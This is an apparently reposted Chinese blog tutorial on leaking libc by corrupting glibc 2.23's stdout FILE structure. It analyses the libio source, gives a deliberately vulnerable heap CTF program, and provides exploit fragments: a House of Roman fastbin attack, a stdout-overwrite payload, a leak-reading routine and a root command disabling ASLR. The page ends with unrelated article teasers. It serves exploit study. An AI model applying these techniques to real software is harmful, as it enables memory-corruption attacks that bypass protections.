【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读

上一篇文章学会了stdin任意地址写【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写-CSDN博客

本篇关注stdout利用手法,和上篇提及的手法有着异曲同工之妙

文章目录

前言

一、_IO_2_1_stdout_输出链,及利用思路

(一)_IO_2_1_stdout_相关结构体与变量

(二)关键函数_IO_new_file_xsputn分析

1、大于缓冲区的输出直接系统调用

2、缓冲区留有空间未满

3、 填充剩余缓冲区

4、需要刷新缓冲区(缓冲区已满 或 must_flush)

(三)关键函数_IO_new_file_overflow分析 

1、_IO_OVERFLOW

2、_IO_NO_WRITES不能置位 

3、_IO_CURRENTLY_PUTTING置位,避免进入分支

4、刷新缓冲区

(四)关键函数new_do_write函数分析 

(五)总结相关条件

二、利用图示

三、从一道题学习stdout任意地址读(leak libc)

(一)pwn.c

(二)分析与利用

1、House of Roman

2、修改_IO_2_1_stdout_结构体相关指针 

3、开启ASLR验证


前言

延续上一篇的故事

我们知道,利用缓冲区,是为了避免进行频繁系统调用耗费资源。

对于stdin来说:

这就类似于从海上进货,不可能每次需要多少就让多少船承载多少来;而是尽量装的满满的,虽然你只需要一点,但是多的我可以存在码头仓库,你需要更多直接在仓库拿就好;仓库用完了,再让船满载进货... ...

对于stdout来说:

类似于从海上发货,不可能每次生产出来一件商品,就让一艘渡轮送出去,这太亏了;因此我们选择在海边码头先屯着,尽可能屯多,或者估计着用户需要期限之前,将囤积的商品一并发出。

这里的“海边码头”就是输出缓冲区,对应_IO_2_1_stdout_结构体中_IO_write_*相关指针。 


一、_IO_2_1_stdout_输出链,及利用思路

我们假定能劫持相关指针,实现利用手法。接下来我们看看调用链,有哪些限制是需要注意的。

相关代码的版本为glibc2.23

(一)_IO_2_1_stdout_相关结构体与变量

// libio.h
struct _IO_FILE_plus;extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
-----------------------------------------------------------------------------
// stdfiles.c
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \struct _IO_FILE_plus NAME \= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \&_IO_file_jumps};DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);
-----------------------------------------------------------------------------
// fileops.c
const struct _IO_jump_t _IO_file_jumps =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_file_finish),JUMP_INIT(overflow, _IO_file_overflow),JUMP_INIT(underflow, _IO_file_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_default_pbackfail),JUMP_INIT(xsputn, _IO_file_xsputn),JUMP_INIT(xsgetn, _IO_file_xsgetn),JUMP_INIT(seekoff, _IO_new_file_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_new_file_setbuf),JUMP_INIT(sync, _IO_new_file_sync),JUMP_INIT(doallocate, _IO_file_doallocate),JUMP_INIT(read, _IO_file_read),JUMP_INIT(write, _IO_new_file_write),JUMP_INIT(seek, _IO_file_seek),JUMP_INIT(close, _IO_file_close),JUMP_INIT(stat, _IO_file_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)# define _IO_new_file_xsputn _IO_file_xsputn_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{const char *s = (const char *) data;_IO_size_t to_do = n;int must_flush = 0;_IO_size_t count = 0;if (n <= 0)return 0;/* This is an optimized implementation.If the amount to be written straddles a block boundary(or the filebuf is unbuffered), use sys_write directly. *//* First figure out how much space is available in the buffer. */if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)){count = f->_IO_buf_end - f->_IO_write_ptr;if (count >= n){const char *p;for (p = s + n; p > s; ){if (*--p == '\n'){count = p - s + 1;must_flush = 1;break;}}}}else if (f->_IO_write_end > f->_IO_write_ptr)count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. *//* Then fill the buffer. */if (count > 0){if (count > to_do)count = to_do;
#ifdef _LIBCf->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#elsememcpy (f->_IO_write_ptr, s, count);f->_IO_write_ptr += count;
#endifs += count;to_do -= count;}if (to_do + must_flush > 0){_IO_size_t block_size, do_write;/* Next flush the (full) buffer. */if (_IO_OVERFLOW (f, EOF) == EOF)/* If nothing else has to be written we must not signal thecaller that everything has been written.  */return to_do == 0 ? EOF : n - to_do;/* Try to maintain alignment: write a whole number of blocks.  */block_size = f->_IO_buf_end - f->_IO_buf_base;do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);if (do_write){count = new_do_write (f, s, do_write);to_do -= count;if (count < do_write)return n - to_do;}/* Now write out the remainder.  Normally, this will fit in thebuffer, but it's somewhat messier for line-buffered files,so we let _IO_default_xsputn handle the general case. */if (to_do)to_do -= _IO_default_xsputn (f, s+do_write, to_do);}return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

(二)关键函数_IO_new_file_xsputn分析

1、大于缓冲区的输出直接系统调用

  /* This is an optimized implementation.If the amount to be written straddles a block boundary(or the filebuf is unbuffered), use sys_write directly. *//* 这是一个优化的实现。如果要写入的数量跨越块边界(或者文件没有缓冲),则直接使用sys write */

注意我们劫持_IO_write_*相关指针,实际上就是劫持输出缓冲区,因此不能够走直接通过系统调用输出的这条优化分支。 

2、缓冲区留有空间未满

  /* First figure out how much space is available in the buffer. */if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))  // 行输出或者当前流正在写入{count = f->_IO_buf_end - f->_IO_write_ptr;if (count >= n)  // 剩余缓冲区空间足够大{const char *p;for (p = s + n; p > s;) //从末尾向前找换行符,来确定要输出的部分{if (*--p == '\n'){count = p - s + 1;must_flush = 1; // 需要进行刷新break;}}}}else if (f->_IO_write_end > f->_IO_write_ptr) // 不是行缓冲或者没有进行写操作,直接计算缓冲区剩余空间大小count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

这里缓冲区仍有空闲时,会计算空闲长度,以备填充。如果设置了行缓冲区模式或者流正在写入标识,则会检索换行符,对长度做修正,并依据检索结果设置是否需要立即刷新。

3、 填充剩余缓冲区

  /* Then fill the buffer. */if (count > 0) // 缓冲区还有空间{if (count > to_do) // 剩余空间大于需要输出的长度count = to_do;   // 只需要用到输出长度大小的空间
#ifdef _LIBCf->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);
#elsememcpy(f->_IO_write_ptr, s, count); // (部分或全部)数据放到缓冲区空闲区域f->_IO_write_ptr += count;
#endifs += count;to_do -= count;}

如果缓冲区剩余空间足够大,大于所需剩余输出长度,则将剩余数据全部复制到缓冲区;否则填满缓冲区。

4、需要刷新缓冲区(缓冲区已满 或 must_flush)

  if (to_do + must_flush > 0) // to_do 和 must_flush 实际上都>=0;这里的含义是,只要“必须刷新”,或者“缓冲区已满”,则进行刷新{_IO_size_t block_size, do_write;/* Next flush the (full) buffer. */if (_IO_OVERFLOW(f, EOF) == EOF) /* If nothing else has to be written we must not signal thecaller that everything has been written.  */return to_do == 0 ? EOF : n - to_do; // 都输出了,或者仍有 n-to_do 需要输出/* Try to maintain alignment: write a whole number of blocks.  */block_size = f->_IO_buf_end - f->_IO_buf_base;do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);if (do_write){count = new_do_write(f, s, do_write);to_do -= count;if (count < do_write)return n - to_do;}/* Now write out the remainder.  Normally, this will fit in thebuffer, but it's somewhat messier for line-buffered files,so we let _IO_default_xsputn handle the general case. */if (to_do)to_do -= _IO_default_xsputn(f, s + do_write, to_do);}return n - to_do;

可以看到,在此之前只有“目标数据”到“缓冲区”的复制,没有真正进行输出,输出就是在此处,刷新缓冲区中实现的。接下来我们将程序执行流交给_IO_OVERFLOW这个宏、 new_do_write这个函数。

(三)关键函数_IO_new_file_overflow分析 

1、_IO_OVERFLOW

// libioP.h
/* The 'overflow' hook flushes the buffer.The second argument is a character, or EOF.It matches the streambuf::overflow virtual function. */
typedef int (*_IO_overflow_t) (_IO_FILE *, int);
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
------------------------------------------------------------------
// fileops.c
#define _IO_new_file_overflow _IO_file_overflow
------------------------------------------------------------------

可以看到,对标准输出来说,_IO_OVERFLOW这个宏对应的就是_IO_new_file_overflow这个函数

2、_IO_NO_WRITES不能置位 

  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ 
// _IO_NO_WRITES标识“不可写”,因此调用overflow属于error{f->_flags |= _IO_ERR_SEEN;__set_errno(EBADF);return EOF;}

3、_IO_CURRENTLY_PUTTING置位,避免进入分支

  /* If currently reading or no buffer allocated. */// 如果正在读入,或者buffer还未分配if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL){/* Allocate a buffer if needed. */// 分配缓冲区if (f->_IO_write_base == NULL){_IO_doallocbuf(f);_IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);}/* Otherwise must be currently reading.If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,logically slide the buffer forwards one block (by setting theread pointers to all point at the beginning of the block).  Thismakes room for subsequent output.Otherwise, set the read pointers to _IO_read_end (leaving thatalone, so it can continue to correspond to the external position). */if (__glibc_unlikely(_IO_in_backup(f))){size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;_IO_free_backup_area(f);f->_IO_read_base -= MIN(nbackup,f->_IO_read_base - f->_IO_buf_base);f->_IO_read_ptr = f->_IO_read_base;}if (f->_IO_read_ptr == f->_IO_buf_end)f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;f->_IO_write_ptr = f->_IO_read_ptr;f->_IO_write_base = f->_IO_write_ptr;f->_IO_write_end = f->_IO_buf_end;f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;f->_flags |= _IO_CURRENTLY_PUTTING;if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))f->_IO_write_end = f->_IO_write_ptr;}

可以看到里面对_IO_write_*相关指针进行了赋值,这不是我们希望的,因为我们目标就是控制这些指针,而此时被修改成其他数值。因此我们将flag的_IO_CURRENTLY_PUTTING进行置位,即可越过这个分支。

4、刷新缓冲区

  if (ch == EOF) // 写入字符ch == EOF,表示要刷新缓冲区// 将缓冲区的内容写到目标文件return _IO_do_write(f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);if (f->_IO_write_ptr == f->_IO_buf_end) /* Buffer is really full */ //缓冲区已满,肯定要刷新if (_IO_do_flush(f) == EOF) // 刷新缓冲区,如果失败,返回EOFreturn EOF;*f->_IO_write_ptr++ = ch; //写入字符到缓冲区if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n')) //如果文件流是无缓冲或者行缓冲且要写入换行,则立即刷新缓冲区if (_IO_do_write(f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base) == EOF)return EOF;return (unsigned char)ch;

调用_IO_do_write函数,实际调用new_do_write函数

(四)关键函数new_do_write函数分析 

// fileops.c
#define _IO_new_do_write _IO_do_writeint _IO_new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do)
{return (to_do == 0 || (_IO_size_t)new_do_write(fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver(_IO_new_do_write, _IO_do_write)static _IO_size_tnew_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do)
{_IO_size_t count;if (fp->_flags & _IO_IS_APPENDING)/* On a system without a proper O_APPEND implementation,you would need to sys_seek(0, SEEK_END) here, but isnot needed nor desirable for Unix- or Posix-like systems.Instead, just indicate that offset (before and after) isunpredictable. */fp->_offset = _IO_pos_BAD;else if (fp->_IO_read_end != fp->_IO_write_base){_IO_off64_t new_pos = _IO_SYSSEEK(fp, fp->_IO_write_base - fp->_IO_read_end, 1);if (new_pos == _IO_pos_BAD)return 0;fp->_offset = new_pos;}count = _IO_SYSWRITE(fp, data, to_do);if (fp->_cur_column && count)fp->_cur_column = _IO_adjust_column(fp->_cur_column - 1, data, count) + 1;_IO_setg(fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))? fp->_IO_buf_base: fp->_IO_buf_end);return count;
}

因为我们已经劫持了_IO_write_*相关指针,因此在这里我们希望直接进行_IO_SYSWRITE操作。为此,简单将flag的_IO_IS_APPENDING置位,就可以跳出if-else if,避免进入else if中的_IO_SYSSEEK调用造成未知的不好影响。

至此,我们到达了通过_IO_SYSWRITE系统调用,输出劫持的_IO_write_base到_IO_write_ptr的内容,实现了任意地址读。

(五)总结相关条件

在_IO_write_*相关指针可控的条件下,还需要满足:

  1. 设置 _f lag &~ _IO_NO_WRITES ,即 设置 _f _flag &~ 0x8。
  2. 设置 flag & _IO_CURRENTLY_PUTTING ,即 _flag | 0x800
  3. 设置 _ fileno 为1。
  4. 设置 _IO_write_base 指向想要泄露的地方; _IO_write_ptr 指向泄露结束的地址。
  5. 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING, 即 _flag | 0x1000。
  6. 设置 _IO_write_end 等于 _flag & _IO_write_ptr (非必须)。 

满足上述条件,可实现任意读。 

二、利用图示

劫持 _IO_write_base 和 _IO_write_ptr 分别指向要泄露区域的开始和结尾,并绕过、满足诸多判断条件。

然后就可以将data1打印出来。

三、从一道题学习stdout任意地址读(leak libc)

(一)pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

 (二)分析与利用

还是用这个漏洞利用学习的模板代码,着重研究不用show的leak libc。思路如下:

1.House of Roman将_IO_2_1_stdout_ malloc出来

2.更改_IO_2_1_stdout_结构体以leak libc

1、House of Roman

也算是回顾一下这种利用手法

首先关闭随机化

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

选择fake_chunk的位置 

然后House of Roman:

  1. 申请0x70、0xa0、0x70个大小的chunk
  2. 释放0xa0的chunk
  3. 申请合适大小chunk切割剩余0x70大小的chunk
  4. 申请被切割剩余的chunk,合法更改数据,指向fake_chunk
  5. UAF+off-by-one更改指针,构造fastbin链尾指向fake_chunk
add(0,0x68)
add(1,0x98)
add(2,0x68)delete(1)
add(3,0x28)
add(1,0x68)
edit(1,p16(0xc5dd))delete(0)
delete(2)
edit(2,b'\xa0')

申请出fake_chunk,然后对_IO_2_stdout_进行修改 

2、修改_IO_2_1_stdout_结构体相关指针 

payload=b'\x00'*(0xc620-0xc5ed)
payload+=p64(0xfbad1800)
payload+=p64(0)*3   #read ptr\end\base
payload+=p8(0x00)   #write base-low-byte
edit(6,payload)

调试一下,把libc承接下来

io.recvn(0x40+1)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39c600
success(hex(libc.address))

3、开启ASLR验证

成功在不show的情况下泄露libc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/497606.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

部署SenseVoice

依赖 Conda cuda pythor 查看GPU版本-CSDN博客 创建虚拟conda环境 conda create --name deeplearn python3.10 conda activate deeplearn git clone https://github.com/FunAudioLLM/SenseVoice.git cd SenseVoice pip install -r requirements.txt pip install gradio pyth…

【Compose multiplatform教程06】用IDEA编译Compose Multiplatform常见问题

当我们从Kotlin Multiplatform Wizard | JetBrains 下载ComposeMultiplatform项目时 会遇到无法正常编译/运行的情况&#xff0c;一般网页和桌面是可以正常编译的&#xff0c; 我这里着重解决如下问题 1:Gradle版本不兼容或者Gradle连接超时 2:JDK版本不兼容 3:Gradle依赖库连…

yolov4算法及其改进

yolov4算法及其改进 1、yolov4介绍2、mosaic与mish激活函数2.1、mosaic数据增强2.2、Mish激活函数 3、backbone网络框架的改进4、PAN-FPN的介绍5、样本匹配和损失函数5.1、样本匹配5.2、YOLOV4损失函数5.2.1、GIOU loss5.2.2、DIOU loss5.2.3、CIOU Loss 1、yolov4介绍 改进点&…

Edge如何获得纯净的启动界面

启动Edge会出现快速链接&#xff0c;推广链接&#xff0c;网站导航&#xff0c;显示小组件&#xff0c;显示信息提要&#xff0c;背景 ●复杂页面 ●精简页面 点击页面设置按钮 关闭快速链接 关闭网站导航 关闭小组件 关闭信息提要 关闭背景 关闭天气提示 精简页面看起来十分舒…

目标检测文献阅读-YOLO:统一的实时目标检测(12.23-12.29)

目录 摘要 Abstract 1 引言 2 统一的检测 3 网络设计 4 训练 5 YOLOv5训练猫狗识别模型 5.1 项目代码整体结构介绍 5.2 数据集和预训练权重的准备 5.3 训练猫狗识别模型 5.3.1 修改数据配置文件 5.3.2 修改模型配置文件 5.3.3 训练模型 5.3.4 启用tensorbord查看…

要查询 `user` 表中 `we_chat_subscribe` 和 `we_chat_union_id` 列不为空的用户数量

文章目录 1、we_chat_subscribe2、we_chat_union_id 1、we_chat_subscribe 要查询 user 表中 we_chat_subscribe 列不为空的用户数量&#xff0c;你可以使用以下 SQL 查询语句&#xff1a; SELECT COUNT(*) FROM user WHERE we_chat_subscribe IS NOT NULL;解释&#xff1a; …

【模块系列】STM321.69TFT屏幕

前言 在翻翻自己的器件盒的时候&#xff0c;发现这块好久之前买的TFT屏了&#xff0c;想起还没有用STM32点亮过&#xff0c;手头上正好有立创的梁山派STM32F4&#xff0c;就试着按照网上的文章教程顺便移植个LVGL看看&#xff0c;然后就有了就本文。 代码工程命名的是LvglDemo&…

Unity中列表List使用出类似字典Dictionary的感觉

首先为什么会有这个标题&#xff1f; 因为字典很好用&#xff0c;只需要键就能拿到值&#xff0c;这种感觉是真的爽&#xff0c;新手最喜欢用了&#xff0c;遇事不决就字典&#xff0c;但是也有不好的地方&#xff0c;字典的内存开销比列表List要大&#xff0c;遍历也是List占…

Android中使用AIDL实现进程通信

前言 关于使用AIDL实现两个APP&#xff08;跨进程&#xff09;通信&#xff0c;我们通常把两个APP分别叫做服务端和客户端。本文不讲原理&#xff0c;只给最简易的案例。 一、服务端APP实现 1. 在src/main/aidl目录下新建一个.aidl文件&#xff0c;然后在.aidl文件中定义需要…

Mac安装多个版本node、java、python 等开发软件环境,安装、卸载、升级多个数据库

安装多个版本node、java、python 等开发软件环境 使用nvm&#xff08;Node.js Version Manager&#xff09;来管理多个Node.js版本。 使用jenv来管理多个Java版本。 使用pyenv来管理多个Python版本。 以下是安装和使用这些版本管理器的基本步骤&#xff1a; 1. 安装多个版本…

Ftrace: 深入探究Linux内核的追踪利器

文章目录 一、 前言二、Ftrace介绍2.1 Ftrace框架2.2 Ftrace的使用场景 三、Ftrace配置和控制接口四、Ftrace使用步骤1&#xff1a;配置内核2. 挂载debugfs3. 查看和配置Ftrace4. 开始追踪[可选]5. 查看追踪结果6. 保存追踪数据7. 清除追踪配置 五、实战演示5.1 function跟踪器…

人工智能基础软件-Jupyter Notebook

简介&#xff1a; Jupyter Notebook是基于网页的用于交互计算的应用程序。其可被应用于全过程计算&#xff1a;开发、文档编写、运行代码和展示结果。 Jupyter Notebook是以网页的形式打开&#xff0c;可以在网页页面中直接编写代码和运行代码&#xff0c;代码的运行结果也会直…

tesla openday数据驱动串讲

一、我写的目的 tesla的数据驱动全流程代表着现在&#xff08;曾经&#xff09;的sota&#xff0c;总结和沉淀他的方法总结后与自己现在的理念做一次对标&#xff0c;查漏补缺找到自己现在的主要问题&#xff0c;聚焦下一阶段的投入 二、主要方法 本文不讲解tesla的视觉技术…

基于神经网络的车牌识别算法matlab仿真 人工智能方法 车牌识别

一 设计方法 设定matlab的车牌识别系统&#xff0c;用神经网络进行预测&#xff0c;将数据集划分为训练集和测试集&#xff0c;设计神经网络结构。根据输入特征的维度和输出标签的维度&#xff0c;确定网络层数和节点数。使用训练集对神经网络进行训练。通过迭代优化网络权重和…

计算机体系结构期末复习4:多处理器缓存一致性(cache一致性)

目录 一、cache一致性问题 1.一致性定义 2.问题定义 3.解决问题的基本策略 二、写返回(write-back)cache的一致性处理 1.MSI协议 2.MESI协议 3.MOESI协议 三、补充知识点&#xff1a;提升cache性能的因素 1.cache miss的三种情况&#xff1a; 2.影响cache性能的因素…

信息化时代的步伐

信息化时代的步伐 下载压缩包的&#xff0c;解压压缩包得到 这里给了一串数字 我们不知道要用什么解码就用随波逐流解码 一键解码得到 说明这是用中文电报解码&#xff1a; flag{计算机要从娃娃抓起}

Linux 基本指令

目录 1.常见指令 1.1 ls指令 1.2 pwd指令 1.3 cd指令 1.4 touch指令 1.5 mkdir指令 1.6 rm和rmdir指令 1.7 man指令 1.8 cp指令 1.9 mv指令 ​编辑 1.10 cat指令 1.11 more指令 1.12 less指令 1.13 head指令 1.14.tail指令 1.15 时间相关的指令 1.16 cal…

TCP客户端模拟链接websocket服务端发送消息(二)

兄弟们&#xff0c;我来填坑了&#xff0c;o(╥﹏╥)o o(╥﹏╥)o o(╥﹏╥)o o(╥﹏╥)o o(╥﹏╥)o o(╥﹏╥)o&#xff0c;前几天写了个tcp模拟websocket客户端的以为完成&#xff0c;后面需要发送消息给服务端&#xff0c;以为简单不就是一个发送消息么&#xff0c;这不是一…